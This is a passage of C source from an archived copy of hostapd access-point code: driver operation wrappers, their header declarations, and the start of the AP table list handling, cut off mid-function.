ieee80211_vht_capabilities *vht_capab, u32 flags, u8 qosinfo, u8 vht_opmode, int supp_p2p_ps, int set) { struct hostapd_sta_add_params params; if (hapd->driver == NULL) return 0; if (hapd->driver->sta_add == NULL) return 0; os_memset(¶ms, 0, sizeof(params)); params.addr = addr; params.aid = aid; params.capability = capability; params.supp_rates = supp_rates; params.supp_rates_len = supp_rates_len; params.listen_interval = listen_interval; params.ht_capabilities = ht_capab; params.vht_capabilities = vht_capab; params.vht_opmode_enabled = !!(flags & WLAN_STA_VHT_OPMODE_ENABLED); params.vht_opmode = vht_opmode; params.flags = hostapd_sta_flags_to_drv(flags); params.qosinfo = qosinfo; params.support_p2p_ps = supp_p2p_ps; params.set = set; return hapd->driver->sta_add(hapd->drv_priv, ¶ms); } int hostapd_add_tspec(struct hostapd_data *hapd, const u8 *addr, u8 *tspec_ie, size_t tspec_ielen) { if (hapd->driver == NULL || hapd->driver->add_tspec == NULL) return 0; return hapd->driver->add_tspec(hapd->drv_priv, addr, tspec_ie, tspec_ielen); } int hostapd_set_privacy(struct hostapd_data *hapd, int enabled) { if (hapd->driver == NULL || hapd->driver->set_privacy == NULL) return 0; return hapd->driver->set_privacy(hapd->drv_priv, enabled); } int hostapd_set_generic_elem(struct hostapd_data *hapd, const u8 *elem, size_t elem_len) { if (hapd->driver == NULL || hapd->driver->set_generic_elem == NULL) return 0; return hapd->driver->set_generic_elem(hapd->drv_priv, elem, elem_len); } int hostapd_get_ssid(struct hostapd_data *hapd, u8 *buf, size_t len) { if (hapd->driver == NULL || hapd->driver->hapd_get_ssid == NULL) return 0; return hapd->driver->hapd_get_ssid(hapd->drv_priv, buf, len); } int hostapd_set_ssid(struct hostapd_data *hapd, const u8 *buf, size_t len) { if (hapd->driver == NULL || hapd->driver->hapd_set_ssid == NULL) return 0; return hapd->driver->hapd_set_ssid(hapd->drv_priv, buf, len); } int hostapd_if_add(struct hostapd_data *hapd, enum wpa_driver_if_type type, const char *ifname, const u8 *addr, void *bss_ctx, void **drv_priv, char *force_ifname, u8 *if_addr, const char *bridge, int use_existing) { if (hapd->driver == NULL || hapd->driver->if_add == NULL) return -1; return hapd->driver->if_add(hapd->drv_priv, type, ifname, addr, bss_ctx, drv_priv, force_ifname, if_addr, bridge, use_existing, 1); } int hostapd_if_remove(struct hostapd_data *hapd, enum wpa_driver_if_type type, const char *ifname) { if (hapd->driver == NULL || hapd->drv_priv == NULL || hapd->driver->if_remove == NULL) return -1; return hapd->driver->if_remove(hapd->drv_priv, type, ifname); } int hostapd_set_ieee8021x(struct hostapd_data *hapd, struct wpa_bss_params *params) { if (hapd->driver == NULL || hapd->driver->set_ieee8021x == NULL) return 0; return hapd->driver->set_ieee8021x(hapd->drv_priv, params); } int hostapd_get_seqnum(const char *ifname, struct hostapd_data *hapd, const u8 *addr, int idx, u8 *seq) { if (hapd->driver == NULL || hapd->driver->get_seqnum == NULL) return 0; return hapd->driver->get_seqnum(ifname, hapd->drv_priv, addr, idx, seq); } int hostapd_flush(struct hostapd_data *hapd) { if (hapd->driver == NULL || hapd->driver->flush == NULL) return 0; return hapd->driver->flush(hapd->drv_priv); } int hostapd_set_freq(struct hostapd_data *hapd, enum hostapd_hw_mode mode, int freq, int channel, int ht_enabled, int vht_enabled, int sec_channel_offset, int vht_oper_chwidth, int center_segment0, int center_segment1) { struct hostapd_freq_params data; if (hostapd_set_freq_params(&data, mode, freq, channel, ht_enabled, vht_enabled, sec_channel_offset, vht_oper_chwidth, center_segment0, center_segment1, hapd->iface->current_mode ? hapd->iface->current_mode->vht_capab : 0)) return -1; if (hapd->driver == NULL) return 0; if (hapd->driver->set_freq == NULL) return 0; return hapd->driver->set_freq(hapd->drv_priv, &data); } int hostapd_set_rts(struct hostapd_data *hapd, int rts) { if (hapd->driver == NULL || hapd->driver->set_rts == NULL) return 0; return hapd->driver->set_rts(hapd->drv_priv, rts); } int hostapd_set_frag(struct hostapd_data *hapd, int frag) { if (hapd->driver == NULL || hapd->driver->set_frag == NULL) return 0; return hapd->driver->set_frag(hapd->drv_priv, frag); } int hostapd_sta_set_flags(struct hostapd_data *hapd, u8 *addr, int total_flags, int flags_or, int flags_and) { if (hapd->driver == NULL || hapd->driver->sta_set_flags == NULL) return 0; return hapd->driver->sta_set_flags(hapd->drv_priv, addr, total_flags, flags_or, flags_and); } int hostapd_set_country(struct hostapd_data *hapd, const char *country) { if (hapd->driver == NULL || hapd->driver->set_country == NULL) return 0; return hapd->driver->set_country(hapd->drv_priv, country); } int hostapd_set_tx_queue_params(struct hostapd_data *hapd, int queue, int aifs, int cw_min, int cw_max, int burst_time) { if (hapd->driver == NULL || hapd->driver->set_tx_queue_params == NULL) return 0; return hapd->driver->set_tx_queue_params(hapd->drv_priv, queue, aifs, cw_min, cw_max, burst_time); } struct hostapd_hw_modes * hostapd_get_hw_feature_data(struct hostapd_data *hapd, u16 *num_modes, u16 *flags, u8 *dfs_domain) { if (hapd->driver == NULL || hapd->driver->get_hw_feature_data == NULL) return NULL; return hapd->driver->get_hw_feature_data(hapd->drv_priv, num_modes, flags, dfs_domain); } int hostapd_driver_commit(struct hostapd_data *hapd) { if (hapd->driver == NULL || hapd->driver->commit == NULL) return 0; return hapd->driver->commit(hapd->drv_priv); } int hostapd_drv_none(struct hostapd_data *hapd) { return hapd->driver && os_strcmp(hapd->driver->name, "none") == 0; } int hostapd_driver_scan(struct hostapd_data *hapd, struct wpa_driver_scan_params *params) { if (hapd->driver && hapd->driver->scan2) return hapd->driver->scan2(hapd->drv_priv, params); return -1; } struct wpa_scan_results * hostapd_driver_get_scan_results( struct hostapd_data *hapd) { if (hapd->driver && hapd->driver->get_scan_results2) return hapd->driver->get_scan_results2(hapd->drv_priv); return NULL; } int hostapd_driver_set_noa(struct hostapd_data *hapd, u8 count, int start, int duration) { if (hapd->driver && hapd->driver->set_noa) return hapd->driver->set_noa(hapd->drv_priv, count, start, duration); return -1; } int hostapd_drv_set_key(const char *ifname, struct hostapd_data *hapd, enum wpa_alg alg, const u8 *addr, int key_idx, int set_tx, const u8 *seq, size_t seq_len, const u8 *key, size_t key_len) { if (hapd->driver == NULL || hapd->driver->set_key == NULL) return 0; return hapd->driver->set_key(ifname, hapd->drv_priv, alg, addr, key_idx, set_tx, seq, seq_len, key, key_len); } int hostapd_drv_send_mlme(struct hostapd_data *hapd, const void *msg, size_t len, int noack) { if (!hapd->driver || !hapd->driver->send_mlme || !hapd->drv_priv) return 0; return hapd->driver->send_mlme(hapd->drv_priv, msg, len, noack, 0, NULL, 0); } int hostapd_drv_send_mlme_csa(struct hostapd_data *hapd, const void *msg, size_t len, int noack, const u16 *csa_offs, size_t csa_offs_len) { if (hapd->driver == NULL || hapd->driver->send_mlme == NULL) return 0; return hapd->driver->send_mlme(hapd->drv_priv, msg, len, noack, 0, csa_offs, csa_offs_len); } int hostapd_drv_sta_deauth(struct hostapd_data *hapd, const u8 *addr, int reason) { if (!hapd->driver || !hapd->driver->sta_deauth || !hapd->drv_priv) return 0; return hapd->driver->sta_deauth(hapd->drv_priv, hapd->own_addr, addr, reason); } int hostapd_drv_sta_disassoc(struct hostapd_data *hapd, const u8 *addr, int reason) { if (!hapd->driver || !hapd->driver->sta_disassoc || !hapd->drv_priv) return 0; return hapd->driver->sta_disassoc(hapd->drv_priv, hapd->own_addr, addr, reason); } int hostapd_drv_wnm_oper(struct hostapd_data *hapd, enum wnm_oper oper, const u8 *peer, u8 *buf, u16 *buf_len) { if (hapd->driver == NULL || hapd->driver->wnm_oper == NULL) return -1; return hapd->driver->wnm_oper(hapd->drv_priv, oper, peer, buf, buf_len); } int hostapd_drv_send_action(struct hostapd_data *hapd, unsigned int freq, unsigned int wait, const u8 *dst, const u8 *data, size_t len) { const u8 *bssid; const u8 wildcard_bssid[ETH_ALEN] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; if (!hapd->driver || !hapd->driver->send_action || !hapd->drv_priv) return 0; bssid = hapd->own_addr; if (!is_multicast_ether_addr(dst) && len > 0 && data[0] == WLAN_ACTION_PUBLIC) { struct sta_info *sta; /* * Public Action frames to a STA that is not a member of the BSS * shall use wildcard BSSID value. */ sta = ap_get_sta(hapd, dst); if (!sta || !(sta->flags & WLAN_STA_ASSOC)) bssid = wildcard_bssid; } else if (is_broadcast_ether_addr(dst) && len > 0 && data[0] == WLAN_ACTION_PUBLIC) { /* * The only current use case of Public Action frames with * broadcast destination address is DPP PKEX. That case is * directing all devices and not just the STAs within the BSS, * so have to use the wildcard BSSID value. */ bssid = wildcard_bssid; } return hapd->driver->send_action(hapd->drv_priv, freq, wait, dst, hapd->own_addr, bssid, data, len, 0); } int hostapd_drv_send_action_addr3_ap(struct hostapd_data *hapd, unsigned int freq, unsigned int wait, const u8 *dst, const u8 *data, size_t len) { if (hapd->driver == NULL || hapd->driver->send_action == NULL) return 0; return hapd->driver->send_action(hapd->drv_priv, freq, wait, dst, hapd->own_addr, hapd->own_addr, data, len, 0); } int hostapd_start_dfs_cac(struct hostapd_iface *iface, enum hostapd_hw_mode mode, int freq, int channel, int ht_enabled, int vht_enabled, int sec_channel_offset, int vht_oper_chwidth, int center_segment0, int center_segment1) { struct hostapd_data *hapd = iface->bss[0]; struct hostapd_freq_params data; int res; if (!hapd->driver || !hapd->driver->start_dfs_cac) return 0; if (!iface->conf->ieee80211h) { wpa_printf(MSG_ERROR, "Can't start DFS CAC, DFS functionality " "is not enabled"); return -1; } if (hostapd_set_freq_params(&data, mode, freq, channel, ht_enabled, vht_enabled, sec_channel_offset, vht_oper_chwidth, center_segment0, center_segment1, iface->current_mode->vht_capab)) { wpa_printf(MSG_ERROR, "Can't set freq params"); return -1; } res = hapd->driver->start_dfs_cac(hapd->drv_priv, &data); if (!res) { iface->cac_started = 1; os_get_reltime(&iface->dfs_cac_start); } return res; } int hostapd_drv_set_qos_map(struct hostapd_data *hapd, const u8 *qos_map_set, u8 qos_map_set_len) { if (!hapd->driver || !hapd->driver->set_qos_map || !hapd->drv_priv) return 0; return hapd->driver->set_qos_map(hapd->drv_priv, qos_map_set, qos_map_set_len); } static void hostapd_get_hw_mode_any_channels(struct hostapd_data *hapd, struct hostapd_hw_modes *mode, int acs_ch_list_all, int **freq_list) { int i; for (i = 0; i < mode->num_channels; i++) { struct hostapd_channel_data *chan = &mode->channels[i]; if ((acs_ch_list_all || freq_range_list_includes(&hapd->iface->conf->acs_ch_list, chan->chan)) && !(chan->flag & HOSTAPD_CHAN_DISABLED) && !(hapd->iface->conf->acs_exclude_dfs && (chan->flag & HOSTAPD_CHAN_RADAR))) int_array_add_unique(freq_list, chan->freq); } } void hostapd_get_ext_capa(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; if (!hapd->driver || !hapd->driver->get_ext_capab) return; hapd->driver->get_ext_capab(hapd->drv_priv, WPA_IF_AP_BSS, &iface->extended_capa, &iface->extended_capa_mask, &iface->extended_capa_len); } int hostapd_drv_do_acs(struct hostapd_data *hapd) { struct drv_acs_params params; int ret, i, acs_ch_list_all = 0; u8 *channels = NULL; unsigned int num_channels = 0; struct hostapd_hw_modes *mode; int *freq_list = NULL; if (hapd->driver == NULL || hapd->driver->do_acs == NULL) return 0; os_memset(¶ms, 0, sizeof(params)); params.hw_mode = hapd->iface->conf->hw_mode; /* * If no chanlist config parameter is provided, include all enabled * channels of the selected hw_mode. */ if (!hapd->iface->conf->acs_ch_list.num) acs_ch_list_all = 1; mode = hapd->iface->current_mode; if (mode) { channels = os_malloc(mode->num_channels); if (channels == NULL) return -1; for (i = 0; i < mode->num_channels; i++) { struct hostapd_channel_data *chan = &mode->channels[i]; if (!acs_ch_list_all && !freq_range_list_includes( &hapd->iface->conf->acs_ch_list, chan->chan)) continue; if (hapd->iface->conf->acs_exclude_dfs && (chan->flag & HOSTAPD_CHAN_RADAR)) continue; if (!(chan->flag & HOSTAPD_CHAN_DISABLED)) { channels[num_channels++] = chan->chan; int_array_add_unique(&freq_list, chan->freq); } } } else { for (i = 0; i < hapd->iface->num_hw_features; i++) { mode = &hapd->iface->hw_features[i]; hostapd_get_hw_mode_any_channels(hapd, mode, acs_ch_list_all, &freq_list); } } params.ch_list = channels; params.ch_list_len = num_channels; params.freq_list = freq_list; params.ht_enabled = !!(hapd->iface->conf->ieee80211n); params.ht40_enabled = !!(hapd->iface->conf->ht_capab & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET); params.vht_enabled = !!(hapd->iface->conf->ieee80211ac); params.ch_width = 20; if (hapd->iface->conf->ieee80211n && params.ht40_enabled) params.ch_width = 40; /* Note: VHT20 is defined by combination of ht_capab & vht_oper_chwidth */ if (hapd->iface->conf->ieee80211ac && params.ht40_enabled) { if (hapd->iface->conf->vht_oper_chwidth == VHT_CHANWIDTH_80MHZ) params.ch_width = 80; else if (hapd->iface->conf->vht_oper_chwidth == VHT_CHANWIDTH_160MHZ || hapd->iface->conf->vht_oper_chwidth == VHT_CHANWIDTH_80P80MHZ) params.ch_width = 160; } ret = hapd->driver->do_acs(hapd->drv_priv, ¶ms); os_free(channels); return ret; } wpa_sycophant-master/src/ap/ap_drv_ops.h000066400000000000000000000310231377436615100207360ustar00rootroot00000000000000/* * hostapd - Driver operations * Copyright (c) 2009-2014, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef AP_DRV_OPS #define AP_DRV_OPS enum wpa_driver_if_type; struct wpa_bss_params; struct wpa_driver_scan_params; struct ieee80211_ht_capabilities; struct ieee80211_vht_capabilities; struct hostapd_freq_params; u32 hostapd_sta_flags_to_drv(u32 flags); int hostapd_build_ap_extra_ies(struct hostapd_data *hapd, struct wpabuf **beacon, struct wpabuf **proberesp, struct wpabuf **assocresp); void hostapd_free_ap_extra_ies(struct hostapd_data *hapd, struct wpabuf *beacon, struct wpabuf *proberesp, struct wpabuf *assocresp); int hostapd_reset_ap_wps_ie(struct hostapd_data *hapd); int hostapd_set_ap_wps_ie(struct hostapd_data *hapd); int hostapd_set_authorized(struct hostapd_data *hapd, struct sta_info *sta, int authorized); int hostapd_set_sta_flags(struct hostapd_data *hapd, struct sta_info *sta); int hostapd_set_drv_ieee8021x(struct hostapd_data *hapd, const char *ifname, int enabled); int hostapd_vlan_if_add(struct hostapd_data *hapd, const char *ifname); int hostapd_vlan_if_remove(struct hostapd_data *hapd, const char *ifname); int hostapd_set_wds_sta(struct hostapd_data *hapd, char *ifname_wds, const u8 *addr, int aid, int val); int hostapd_sta_add(struct hostapd_data *hapd, const u8 *addr, u16 aid, u16 capability, const u8 *supp_rates, size_t supp_rates_len, u16 listen_interval, const struct ieee80211_ht_capabilities *ht_capab, const struct ieee80211_vht_capabilities *vht_capab, u32 flags, u8 qosinfo, u8 vht_opmode, int supp_p2p_ps, int set); int hostapd_set_privacy(struct hostapd_data *hapd, int enabled); int hostapd_set_generic_elem(struct hostapd_data *hapd, const u8 *elem, size_t elem_len); int hostapd_get_ssid(struct hostapd_data *hapd, u8 *buf, size_t len); int hostapd_set_ssid(struct hostapd_data *hapd, const u8 *buf, size_t len); int hostapd_if_add(struct hostapd_data *hapd, enum wpa_driver_if_type type, const char *ifname, const u8 *addr, void *bss_ctx, void **drv_priv, char *force_ifname, u8 *if_addr, const char *bridge, int use_existing); int hostapd_if_remove(struct hostapd_data *hapd, enum wpa_driver_if_type type, const char *ifname); int hostapd_set_ieee8021x(struct hostapd_data *hapd, struct wpa_bss_params *params); int hostapd_get_seqnum(const char *ifname, struct hostapd_data *hapd, const u8 *addr, int idx, u8 *seq); int hostapd_flush(struct hostapd_data *hapd); int hostapd_set_freq(struct hostapd_data *hapd, enum hostapd_hw_mode mode, int freq, int channel, int ht_enabled, int vht_enabled, int sec_channel_offset, int vht_oper_chwidth, int center_segment0, int center_segment1); int hostapd_set_rts(struct hostapd_data *hapd, int rts); int hostapd_set_frag(struct hostapd_data *hapd, int frag); int hostapd_sta_set_flags(struct hostapd_data *hapd, u8 *addr, int total_flags, int flags_or, int flags_and); int hostapd_set_country(struct hostapd_data *hapd, const char *country); int hostapd_set_tx_queue_params(struct hostapd_data *hapd, int queue, int aifs, int cw_min, int cw_max, int burst_time); struct hostapd_hw_modes * hostapd_get_hw_feature_data(struct hostapd_data *hapd, u16 *num_modes, u16 *flags, u8 *dfs_domain); int hostapd_driver_commit(struct hostapd_data *hapd); int hostapd_drv_none(struct hostapd_data *hapd); int hostapd_driver_scan(struct hostapd_data *hapd, struct wpa_driver_scan_params *params); struct wpa_scan_results * hostapd_driver_get_scan_results( struct hostapd_data *hapd); int hostapd_driver_set_noa(struct hostapd_data *hapd, u8 count, int start, int duration); int hostapd_drv_set_key(const char *ifname, struct hostapd_data *hapd, enum wpa_alg alg, const u8 *addr, int key_idx, int set_tx, const u8 *seq, size_t seq_len, const u8 *key, size_t key_len); int hostapd_drv_send_mlme(struct hostapd_data *hapd, const void *msg, size_t len, int noack); int hostapd_drv_send_mlme_csa(struct hostapd_data *hapd, const void *msg, size_t len, int noack, const u16 *csa_offs, size_t csa_offs_len); int hostapd_drv_sta_deauth(struct hostapd_data *hapd, const u8 *addr, int reason); int hostapd_drv_sta_disassoc(struct hostapd_data *hapd, const u8 *addr, int reason); int hostapd_drv_send_action(struct hostapd_data *hapd, unsigned int freq, unsigned int wait, const u8 *dst, const u8 *data, size_t len); int hostapd_drv_send_action_addr3_ap(struct hostapd_data *hapd, unsigned int freq, unsigned int wait, const u8 *dst, const u8 *data, size_t len); static inline void hostapd_drv_send_action_cancel_wait(struct hostapd_data *hapd) { if (!hapd->driver || !hapd->driver->send_action_cancel_wait || !hapd->drv_priv) return; hapd->driver->send_action_cancel_wait(hapd->drv_priv); } int hostapd_add_sta_node(struct hostapd_data *hapd, const u8 *addr, u16 auth_alg); int hostapd_sta_auth(struct hostapd_data *hapd, const u8 *addr, u16 seq, u16 status, const u8 *ie, size_t len); int hostapd_sta_assoc(struct hostapd_data *hapd, const u8 *addr, int reassoc, u16 status, const u8 *ie, size_t len); int hostapd_add_tspec(struct hostapd_data *hapd, const u8 *addr, u8 *tspec_ie, size_t tspec_ielen); int hostapd_start_dfs_cac(struct hostapd_iface *iface, enum hostapd_hw_mode mode, int freq, int channel, int ht_enabled, int vht_enabled, int sec_channel_offset, int vht_oper_chwidth, int center_segment0, int center_segment1); int hostapd_drv_do_acs(struct hostapd_data *hapd); #include "drivers/driver.h" int hostapd_drv_wnm_oper(struct hostapd_data *hapd, enum wnm_oper oper, const u8 *peer, u8 *buf, u16 *buf_len); int hostapd_drv_set_qos_map(struct hostapd_data *hapd, const u8 *qos_map_set, u8 qos_map_set_len); void hostapd_get_ext_capa(struct hostapd_iface *iface); static inline int hostapd_drv_set_countermeasures(struct hostapd_data *hapd, int enabled) { if (hapd->driver == NULL || hapd->driver->hapd_set_countermeasures == NULL) return 0; return hapd->driver->hapd_set_countermeasures(hapd->drv_priv, enabled); } static inline int hostapd_drv_set_sta_vlan(const char *ifname, struct hostapd_data *hapd, const u8 *addr, int vlan_id) { if (hapd->driver == NULL || hapd->driver->set_sta_vlan == NULL) return 0; return hapd->driver->set_sta_vlan(hapd->drv_priv, addr, ifname, vlan_id); } static inline int hostapd_drv_get_inact_sec(struct hostapd_data *hapd, const u8 *addr) { if (hapd->driver == NULL || hapd->driver->get_inact_sec == NULL) return 0; return hapd->driver->get_inact_sec(hapd->drv_priv, addr); } static inline int hostapd_drv_sta_remove(struct hostapd_data *hapd, const u8 *addr) { if (!hapd->driver || !hapd->driver->sta_remove || !hapd->drv_priv) return 0; return hapd->driver->sta_remove(hapd->drv_priv, addr); } static inline int hostapd_drv_hapd_send_eapol(struct hostapd_data *hapd, const u8 *addr, const u8 *data, size_t data_len, int encrypt, u32 flags) { if (hapd->driver == NULL || hapd->driver->hapd_send_eapol == NULL) return 0; return hapd->driver->hapd_send_eapol(hapd->drv_priv, addr, data, data_len, encrypt, hapd->own_addr, flags); } static inline int hostapd_drv_read_sta_data( struct hostapd_data *hapd, struct hostap_sta_driver_data *data, const u8 *addr) { if (hapd->driver == NULL || hapd->driver->read_sta_data == NULL) return -1; return hapd->driver->read_sta_data(hapd->drv_priv, data, addr); } static inline int hostapd_drv_sta_clear_stats(struct hostapd_data *hapd, const u8 *addr) { if (hapd->driver == NULL || hapd->driver->sta_clear_stats == NULL) return 0; return hapd->driver->sta_clear_stats(hapd->drv_priv, addr); } static inline int hostapd_drv_set_acl(struct hostapd_data *hapd, struct hostapd_acl_params *params) { if (hapd->driver == NULL || hapd->driver->set_acl == NULL) return 0; return hapd->driver->set_acl(hapd->drv_priv, params); } static inline int hostapd_drv_set_ap(struct hostapd_data *hapd, struct wpa_driver_ap_params *params) { if (hapd->driver == NULL || hapd->driver->set_ap == NULL) return 0; return hapd->driver->set_ap(hapd->drv_priv, params); } static inline int hostapd_drv_set_radius_acl_auth(struct hostapd_data *hapd, const u8 *mac, int accepted, u32 session_timeout) { if (hapd->driver == NULL || hapd->driver->set_radius_acl_auth == NULL) return 0; return hapd->driver->set_radius_acl_auth(hapd->drv_priv, mac, accepted, session_timeout); } static inline int hostapd_drv_set_radius_acl_expire(struct hostapd_data *hapd, const u8 *mac) { if (hapd->driver == NULL || hapd->driver->set_radius_acl_expire == NULL) return 0; return hapd->driver->set_radius_acl_expire(hapd->drv_priv, mac); } static inline int hostapd_drv_set_authmode(struct hostapd_data *hapd, int auth_algs) { if (hapd->driver == NULL || hapd->driver->set_authmode == NULL) return 0; return hapd->driver->set_authmode(hapd->drv_priv, auth_algs); } static inline void hostapd_drv_poll_client(struct hostapd_data *hapd, const u8 *own_addr, const u8 *addr, int qos) { if (hapd->driver == NULL || hapd->driver->poll_client == NULL) return; hapd->driver->poll_client(hapd->drv_priv, own_addr, addr, qos); } static inline int hostapd_drv_get_survey(struct hostapd_data *hapd, unsigned int freq) { if (hapd->driver == NULL) return -1; if (!hapd->driver->get_survey) return -1; return hapd->driver->get_survey(hapd->drv_priv, freq); } static inline int hostapd_get_country(struct hostapd_data *hapd, char *alpha2) { if (hapd->driver == NULL || hapd->driver->get_country == NULL) return -1; return hapd->driver->get_country(hapd->drv_priv, alpha2); } static inline const char * hostapd_drv_get_radio_name(struct hostapd_data *hapd) { if (hapd->driver == NULL || hapd->drv_priv == NULL || hapd->driver->get_radio_name == NULL) return NULL; return hapd->driver->get_radio_name(hapd->drv_priv); } static inline int hostapd_drv_switch_channel(struct hostapd_data *hapd, struct csa_settings *settings) { if (hapd->driver == NULL || hapd->driver->switch_channel == NULL || hapd->drv_priv == NULL) return -1; return hapd->driver->switch_channel(hapd->drv_priv, settings); } static inline int hostapd_drv_status(struct hostapd_data *hapd, char *buf, size_t buflen) { if (!hapd->driver || !hapd->driver->status || !hapd->drv_priv) return -1; return hapd->driver->status(hapd->drv_priv, buf, buflen); } static inline int hostapd_drv_br_add_ip_neigh(struct hostapd_data *hapd, int version, const u8 *ipaddr, int prefixlen, const u8 *addr) { if (hapd->driver == NULL || hapd->drv_priv == NULL || hapd->driver->br_add_ip_neigh == NULL) return -1; return hapd->driver->br_add_ip_neigh(hapd->drv_priv, version, ipaddr, prefixlen, addr); } static inline int hostapd_drv_br_delete_ip_neigh(struct hostapd_data *hapd, u8 version, const u8 *ipaddr) { if (hapd->driver == NULL || hapd->drv_priv == NULL || hapd->driver->br_delete_ip_neigh == NULL) return -1; return hapd->driver->br_delete_ip_neigh(hapd->drv_priv, version, ipaddr); } static inline int hostapd_drv_br_port_set_attr(struct hostapd_data *hapd, enum drv_br_port_attr attr, unsigned int val) { if (hapd->driver == NULL || hapd->drv_priv == NULL || hapd->driver->br_port_set_attr == NULL) return -1; return hapd->driver->br_port_set_attr(hapd->drv_priv, attr, val); } static inline int hostapd_drv_br_set_net_param(struct hostapd_data *hapd, enum drv_br_net_param param, unsigned int val) { if (hapd->driver == NULL || hapd->drv_priv == NULL || hapd->driver->br_set_net_param == NULL) return -1; return hapd->driver->br_set_net_param(hapd->drv_priv, param, val); } static inline int hostapd_drv_vendor_cmd(struct hostapd_data *hapd, int vendor_id, int subcmd, const u8 *data, size_t data_len, struct wpabuf *buf) { if (hapd->driver == NULL || hapd->driver->vendor_cmd == NULL) return -1; return hapd->driver->vendor_cmd(hapd->drv_priv, vendor_id, subcmd, data, data_len, buf); } static inline int hostapd_drv_stop_ap(struct hostapd_data *hapd) { if (!hapd->driver || !hapd->driver->stop_ap || !hapd->drv_priv) return 0; return hapd->driver->stop_ap(hapd->drv_priv); } #endif /* AP_DRV_OPS */ wpa_sycophant-master/src/ap/ap_list.c000066400000000000000000000155071377436615100202410ustar00rootroot00000000000000/* * hostapd / AP table * Copyright (c) 2002-2009, Jouni Malinen * Copyright (c) 2003-2004, Instant802 Networks, Inc. * Copyright (c) 2006, Devicescape Software, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "hostapd.h" #include "ap_config.h" #include "ieee802_11.h" #include "sta_info.h" #include "beacon.h" #include "ap_list.h" /* AP list is a double linked list with head->prev pointing to the end of the * list and tail->next = NULL. Entries are moved to the head of the list * whenever a beacon has been received from the AP in question. The tail entry * in this link will thus be the least recently used entry. */ static int ap_list_beacon_olbc(struct hostapd_iface *iface, struct ap_info *ap) { int i; if (iface->current_mode == NULL || iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G || iface->conf->channel != ap->channel) return 0; if (ap->erp != -1 && (ap->erp & ERP_INFO_NON_ERP_PRESENT)) return 1; for (i = 0; i < WLAN_SUPP_RATES_MAX; i++) { int rate = (ap->supported_rates[i] & 0x7f) * 5; if (rate == 60 || rate == 90 || rate > 110) return 0; } return 1; } static struct ap_info * ap_get_ap(struct hostapd_iface *iface, const u8 *ap) { struct ap_info *s; s = iface->ap_hash[STA_HASH(ap)]; while (s != NULL && os_memcmp(s->addr, ap, ETH_ALEN) != 0) s = s->hnext; return s; } static void ap_ap_list_add(struct hostapd_iface *iface, struct ap_info *ap) { if (iface->ap_list) { ap->prev = iface->ap_list->prev; iface->ap_list->prev = ap; } else ap->prev = ap; ap->next = iface->ap_list; iface->ap_list = ap; } static void ap_ap_list_del(struct hostapd_iface *iface, struct ap_info *ap) { if (iface->ap_list == ap) iface->ap_list = ap->next; else ap->prev->next = ap->next; if (ap->next) ap->next->prev = ap->prev; else if (iface->ap_list) iface->ap_list->prev = ap->prev; } static void ap_ap_hash_add(struct hostapd_iface *iface, struct ap_info *ap) { ap->hnext = iface->ap_hash[STA_HASH(ap->addr)]; iface->ap_hash[STA_HASH(ap->addr)] = ap; } static void ap_ap_hash_del(struct hostapd_iface *iface, struct ap_info *ap) { struct ap_info *s; s = iface->ap_hash[STA_HASH(ap->addr)]; if (s == NULL) return; if (os_memcmp(s->addr, ap->addr, ETH_ALEN) == 0) { iface->ap_hash[STA_HASH(ap->addr)] = s->hnext; return; } while (s->hnext != NULL && os_memcmp(s->hnext->addr, ap->addr, ETH_ALEN) != 0) s = s->hnext; if (s->hnext != NULL) s->hnext = s->hnext->hnext; else wpa_printf(MSG_INFO, "AP: could not remove AP " MACSTR " from hash table", MAC2STR(ap->addr)); } static void ap_free_ap(struct hostapd_iface *iface, struct ap_info *ap) { ap_ap_hash_del(iface, ap); ap_ap_list_del(iface, ap); iface->num_ap--; os_free(ap); } static void hostapd_free_aps(struct hostapd_iface *iface) { struct ap_info *ap, *prev; ap = iface->ap_list; while (ap) { prev = ap; ap = ap->next; ap_free_ap(iface, prev); } iface->ap_list = NULL; } static struct ap_info * ap_ap_add(struct hostapd_iface *iface, const u8 *addr) { struct ap_info *ap; ap = os_zalloc(sizeof(struct ap_info)); if (ap == NULL) return NULL; /* initialize AP info data */ os_memcpy(ap->addr, addr, ETH_ALEN); ap_ap_list_add(iface, ap); iface->num_ap++; ap_ap_hash_add(iface, ap); if (iface->num_ap > iface->conf->ap_table_max_size && ap != ap->prev) { wpa_printf(MSG_DEBUG, "Removing the least recently used AP " MACSTR " from AP table", MAC2STR(ap->prev->addr)); ap_free_ap(iface, ap->prev); } return ap; } void ap_list_process_beacon(struct hostapd_iface *iface, const struct ieee80211_mgmt *mgmt, struct ieee802_11_elems *elems, struct hostapd_frame_info *fi) { struct ap_info *ap; int new_ap = 0; int set_beacon = 0; if (iface->conf->ap_table_max_size < 1) return; ap = ap_get_ap(iface, mgmt->bssid); if (!ap) { ap = ap_ap_add(iface, mgmt->bssid); if (!ap) { wpa_printf(MSG_INFO, "Failed to allocate AP information entry"); return; } new_ap = 1; } merge_byte_arrays(ap->supported_rates, WLAN_SUPP_RATES_MAX, elems->supp_rates, elems->supp_rates_len, elems->ext_supp_rates, elems->ext_supp_rates_len); if (elems->erp_info) ap->erp = elems->erp_info[0]; else ap->erp = -1; if (elems->ds_params) ap->channel = elems->ds_params[0]; else if (elems->ht_operation) ap->channel = elems->ht_operation[0]; else if (fi) ap->channel = fi->channel; if (elems->ht_capabilities) ap->ht_support = 1; else ap->ht_support = 0; os_get_reltime(&ap->last_beacon); if (!new_ap && ap != iface->ap_list) { /* move AP entry into the beginning of the list so that the * oldest entry is always in the end of the list */ ap_ap_list_del(iface, ap); ap_ap_list_add(iface, ap); } if (!iface->olbc && ap_list_beacon_olbc(iface, ap)) { iface->olbc = 1; wpa_printf(MSG_DEBUG, "OLBC AP detected: " MACSTR " (channel %d) - enable protection", MAC2STR(ap->addr), ap->channel); set_beacon++; } #ifdef CONFIG_IEEE80211N if (!iface->olbc_ht && !ap->ht_support && (ap->channel == 0 || ap->channel == iface->conf->channel || ap->channel == iface->conf->channel + iface->conf->secondary_channel * 4)) { iface->olbc_ht = 1; hostapd_ht_operation_update(iface); wpa_printf(MSG_DEBUG, "OLBC 